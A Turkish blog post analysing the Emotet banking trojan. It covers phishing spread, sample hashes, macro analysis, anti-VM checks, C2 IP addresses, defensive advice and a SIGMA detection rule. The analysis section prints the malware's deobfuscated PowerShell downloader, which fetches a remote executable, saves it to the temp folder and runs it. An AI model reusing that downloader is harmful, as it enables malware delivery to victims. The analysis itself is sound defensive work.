Emotet ve Uygulanabilecek SIEM Kuralları

Emotet

Genel Bakış

Bankacılık zararlıları her geçen gün daha popüler hale geliyor. Bu zararlıların en popülerlerinden biri olan Emotet 2014 yılında çıkan ve sürekli gelişerek yoluna devam eden bir trojan. Emotet’e geçmeden önce , Trojan hedef bilgisayara bulaştıktan sonra hedefi uzaktan kontrol edilebilir hale getiren zararlı yazılım türüdür. Zararlının çalışması 4 aşamada gerçekleşiyor:
  1. Zararlı .doc dosyasının oltalama mailleri ile yayılması.
  2. Dosyanın açılmasıyla beraber içerisindeki zararlı makronun çalışması.
  3. Kontrol sunucusuyla haberleşip Emotet zararlısının indirilmesi.
  4. Emotet’in işlevlerini yerine getirmesi

Özet

Bu analiz, son yılların en popüler bankacılık trojanlarından olan Emotet’in ne kadar tehlikeli olabileceğini gösteriyor. Yayınlanan raporlara göre, Emotet’i kullanarak yayılan 2 farklı grup olduğu ortaya çıktı. Sadece bu bile Emotet’in ne kadar etkili bir silah olarak kullanılabileceğinin göstergesi. Emotet, başlangıcının zararlı bir dokümanla olduğu sonrasında içerisindeki zararlı makronun çalışmasıyla beraber, asıl zararlının sisteme yüklendiği gelişmiş bir siber tehdit diyebiliriz. Zararlının en büyük amacı sistemdeki kullanıcı bilgilerini(parolalar, kullanıcı adları, banka hesapları vs) toplayıp kontrol sunucusuna yollamaktır. Aşağıdaki görsellerin ilkinde Emotet’in süreci özetleniyor, ikincisinde ise hangi atak vektörlerini (MITRE ATT&CK günümüzde kullanılan atak vektörlerini içeren bir kütüphanedir. Bu kütüphane atak başlangıcından, kalıcılık sağlamaya kadar bütün adımlar ve teknikler hakkında bilgi içermektedir.) kullandığı gösteriliyor.








 

Temel Bilgiler

Bu bölümde verilecek olan bilgiler 2 temel dosyaya aittir. Bu dosyalar yazının geri kalanında aşağıdaki gibi adlandırılacaktır:

1. Payment.doc, bu dosya oltalama mailleri ile yayılan zararlı ofis dosyası.
2. Emotet, asıl işleri yapan çalıştırılabilir dosya.


Payment.doc


MD5
0ef5ed6cd6b1917807ad2ed87e377540
SHA-1
f712ec41af23cdd6f8355eceaae45e5349cc0ff1
SHA-256
a1f83e2e809cb6ea82a9a0b6f6f054a126c0a5882c5994e9184527780dd1fc42
SSDeep
768:pHTVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBr+1oTUHPQVGm93JOWextOy+KG:tTocn1kp59gxBK85fBr+aTmEGm9L7R
Dosya boyutu
88.63 KB
Dosya türü
MS Word Document
MIME
image/vnd.fpx




 

Emotet.exe 

MD5
01e0cf87ee2e22ff40e648aa82409ce4
SHA-1
2aa19e481bf8a214b00a03f602b10dbb8fe357b9
SHA-256
c3f43896913c17f91c0d95924ac426e89928b8eef93da7dc107a7a0891c7a860
SSDeep
384:VwN3mgrd1jQkwzNRk85tHNcbSal/0791aOmPSpDk+F:Vq3hJ1ytHSbZ/07XHbr
Dosya boyutu
44 KB
Dosya türü
Win32 EXE
MIME
application/octet-stream






Emotet’in en yaygın bulaşma yolu oltalama(phishing) mailleridir. Oltalama maillerinin içeriğini genel olarak PayPal faturası, kargo bildirimleri veya geçmiş dönemlerden kalan fatura bilgisi oluşturmaktadır. Bu oltalama maillerinden bir tanesi aşağıdaki görselde görülmektedir. Saldırgan maili yolladıktan sonra hedefteki sistemin mailin ekinde bulunan zararlı ofis dosyasını indirip, içerisindeki makronun çalışmasını bekliyor. Son yıllarda çok fazla görülen bu saldırı tekniğini engellemenin en iyi yolu insanları bilinçlendirmek.


Aşağıdaki ekran görüntüsünde Emotet’in yayılması için yollanan maillerin tarihleri, adresleri, konuları ve içerisinde bulunan linkler görülmektedir[9,10].








Analiz

 



Emotet zararlısının nasıl yayıldığını ve sistem üzerinde neler yaptığını açıklamak istiyorum. En başta saldırgan oltalama maili ile zararlı ofis dosyasını yayıyor. Zararlı dosyayı açmadan önce bu dosyanın analizini yapalım. Analize geçmeden Payment.doc dosyasını açtığımızda karşımıza aşağıdaki gibi bir yazı geliyor. Yazıda dokümanı görüntülemek için makroların aktifleştirilmesi gerektiği söyleniyor.
Olevba yardımıyla yaptığımız ilk analizde bazı stringlerin base64 ile kodlanmış olduğunu görüyoruz.


 
Base64’lenmiş stringleri bulup, tersine çevirmek için yine olevba yardımıyla tekrar analiz yapıyoruz. Bazı stringleri daha okunabilir olduğunu görebiliyoruz.


 
Stringlere baktığımızda anlamsız olduklarını ve belki de işimize yaramayacaklarını görüyoruz. Makroyu dikkatli bir şekilde incelediğimizde bazı satırlar göze çarpıyor. Bu satır, dokümanda gizlenmiş bir TextFrame’in içerisindeki kodun çalışmasını sağlıyor. Aşağıdaki ilk görselde bahsi geçen satır, ikinci görselde ise dokümanın içerisinde gizlenmeye çalışan TextFrame gözüküyor.



Bu kod cmd üzerinde powershell çalıştırıp, zararlıyı indirmeye yarıyor. En son çıkan powershell komutu şu şekildedir:
powershell.exe powershell $bbd='uCc';$FJp=''.Split('@');$nLF=([System.IO.Path]::GetTempPath()+'\bGD.exe');$rat =New-Object -com 'msxml2.xmlhttp';$EHT = New-Object -com 'adodb.stream';foreach($Tia in $FJp){try{$rat.open('GET',$Tia,0);$rat.send();If ($rat.Status -eq 200) {$EHT.open();$EHT.type = 1;$EHT.write($rat.responseBody);$EHT.savetofile($nLF);Start-Process $nLF;break}}catch{}}
Makroyu çalıştırdığımızda oluşturduğu processleri görebiliriz.
Bundan sonra asıl zararlımız olan Emotet indiriliyor. Emotet’in kullandığı kütüphaneler şu şekilde:


 

Anti-Vm kontrolleri

Anti-Vm herhangi bir yazılımın sanal makinede mi çalıştığını anlamak için uyguladığı bazı taktiklerdir. Zararlı yazılım analistlerinin genelde sanal makinelerle çalıştığını bilen saldırganlar bunu önlemek için zararlı yazılımları bu yöntemlere göre yazıyorlar. Zararlı makine üzerinde çalıştığını anlayan program, zararlı aktiviteler yapmayacak onun yerine özel olarak belirlenen zararsız işlemlere devam edecektir. Emotet’de sanal makine de mi çalıştığını kontrol etmek için basit bazı kontroller gerçekleştiriyor:
  • TEQUILABOOMBOOM stringini kontrol ediyor.




  • Wilber stringini bulursa ondan sonra SC veya CW ile başlayan string var mı onu kontrol ediyor.


  • aagmmc.pdb olan debug sembolü, admin ve SystemIT stringlerini kontrol ediyor.
  • admin ve sonrasında KLONE_x64-PC stringlerini kontrol ediyor.


  • John Doe veya BEA-CHI stringlerini kontrol ediyor.
  •   take_screenshot.ps1, loaddll dosyalarını kontrol ediyor.

  • foobar.bmp, foobar.doc, foobar.gif dosyalarını kontrol ediyor.

Sistem Üzerinde Neler Yapıyor?

Zararlı ofis dosyasındaki Emotet'i C:\Users\KullaniciAdi\AppData\Local\Temp klasörüne kaydederek çalıştırmaya başlıyor.Zararlı çalışmaya başladıktan sonra kendini başka bir işlem(process)in içine yerleştirerek yakalanmasını zorlaştırıyor. Kendi kalıcılığını ve çalışmasını sağladıktan sonra, kontrol sunucusu ile haberleşmeye başlıyor. Olası kontrol sunucu IP adresleri şu şekildedir[2]:

  • 198.61.207.174
  • 82.211.30.202
  • 212.5.159.61
  • 69.43.168.200
  • 193.169.54.12
Gerekli konfigürasyonları sunucudan aldıktan sonra asıl zararlı işlemleri olan kullanıcı bilgilerini çıkartıyor. Bunlar için MailPassView, WebBrowserPassView ve spam modüllerini kullanıyor. Man-in-the-browser atağını kullanarak kullanıcı bilgilerini çalıp kontrol sunucusuna yolluyor. Man-in-the-browser atağı man-in-the-middle(ortadaki adam) atağıyla çok benzer fakat en büyük farkı bir tanesi tarayıcınızdaki yapılan işlemlerle ilgilenirken diğeri bütün network trafiğinizi dinliyor. Bu iletişim RSA algoritması ile şifreleniyor. TrendMicro tarafından yapılan analize göre 768 bit büyüklüğünde 6 tane public RSA anahtarı bulundu[1].


Öneriler

  • Bilinçlenmek en büyük önlemlerden biridir. Gündemi takip edebilecek kadar bilgi çok şey değiştirebilir.
  • Parolalarınızı belirli aralıklarla değiştirin. Emotet’in nihai amacı kullanıcı bilgilerini çalmaktır.
  • Bilmediğiniz kaynaklardan gelen dokümanları açmayın. Emotet’i ortaya çıkaranlar genellikle finans sektörüyle alakalı başlıklarda zararlı dokümanlar dağıtıyorlar. Payment, invoice ve bunların diğer dillerdeki karşılıklarıyla ilgili bir dokümanı açarken dikkatli olmalısınız.
  • Güvenmediğiniz dosyaları çevrimiçi araçlarla(VirusTotal, hybrid-analysis vb.) kolayca analiz edip, ondan sonra çalıştırabilirsiniz.
  • Güvenilir antivirüs programları kullanabilirsiniz.
  • Sadece güvendiğiniz ofis dokümanlarının makrolarını çalıştırınız.
  • Kurumdaki bütün makroları Group Policy kullanarak kapatabilirsiniz[3].
  • Domain-Based Message Authentication, Reporting & Conformance (DMARC) sistemi kurularak kuruma gelen spam mailleri en aza indirebilirsiniz[4].

Emotet’in Tespiti İçin Uygulanabilecek SIGMA Kuralları

title: Emotet
description: Detect Emotet Malicious Activities
author: Burak ÇARIKÇI
references:
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/27000/PD27205/en_US/McAfee_Labs_Threat_Advisory-Emotet_v3.pdf
https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/
date: 2019/01/30
status: testing
detection:
condition: 1 of them
logsource:
category: firewall
detection:
outgoing:
dst:
- 198.61.207.174
- 82.211.30.202
- 212.5.159.61
- 69.43.168.200
- 193.169.54.12
incoming:
src:
- 198.61.207.174
- 82.211.30.202
- 212.5.159.61
- 69.43.168.200
- 193.169.54.12



logsource:
product: windows
service: sysmon
detection:
selection1:
#Sysmon process creation
EventID: 1
ParentImage:
- '*\WINWORD.EXE'
Image:
- '*\cmd.exe'
- '*\powershell.exe'
- '*\WINWORD.exe'
selection2:
#Sysmon file creation
EventID: 11
TargetFilename:
- '*\Payment.doc'
- '*\Invoice*.doc'
- '*\Deposit.doc'
- '*\emotet.exe'
#Registry Changes
logsource:
product: windows
service: sysmon
detection:
selection3:
EvenID: 13
TargetObject:
- '*\HKLM\SYSTEM\ControlSet001\services\homeservice\*'
EventType: 'SetValue'



fields:
- Image
- TargetFileName
- CommandLine
- ParentCommandLine
- EventID
- TargetObject
falsepositives:
- unknown
level: high
mitre-attack:
- Service Execution
- Kernel Modules and Extensions
- Hooking
- Process Injection
- File Deletion
- Periphreal Device Discovery
- Query Registry
- Process Discovery
- Uncommonly Used Port

Kaynakça

  1. Exploring Emotet’s Activities: https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf
  2. McAfee Labs Threat Advisory – Emotet: https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/27000/PD27205/en_US/McAfee_Labs_Threat_Advisory-Emotet_v3.pdf
  3. Disable All Microsoft Office Macros Globally for All Users: https://superuser.com/questions/1073060/disable-all-microsoft-office-macros-globally-for-all-users/1073064#1073064
  4. DMARC: https://en.wikipedia.org/wiki/DMARC
  5. New EMOTET Hijacks a Windows API, Evades Sandbox and Analysis: https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/
  6. Virustotal Sonucu: https://www.virustotal.com/#/file/c41cbad1ee87b9156c389962608cf25570ca176903b299cb3415f3fc3a23ebbe/detection
  7. Hybrid-analysis Sonucu: https://www.hybrid-analysis.com/sample/c41cbad1ee87b9156c389962608cf25570ca176903b299cb3415f3fc3a23ebbe?environmentId=100
  8. Kullanılan Görsel: https://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/09/EMOTET-3.jpg
  9. 2018-03-01 - Emotet Malspam: https://www.malware-traffic-analysis.net/2018/03/01/index.html
  10. 2018-03-07 - 100 Examples of Emotet Malspam: https://www.malware-traffic-analysis.net/2018/03/07/index3.html

Burak Çarıkçı

Yorumlar

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

B*-Tree (BTree, BPlusTree) Veri Yapısı ile Veri İndeksleme

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017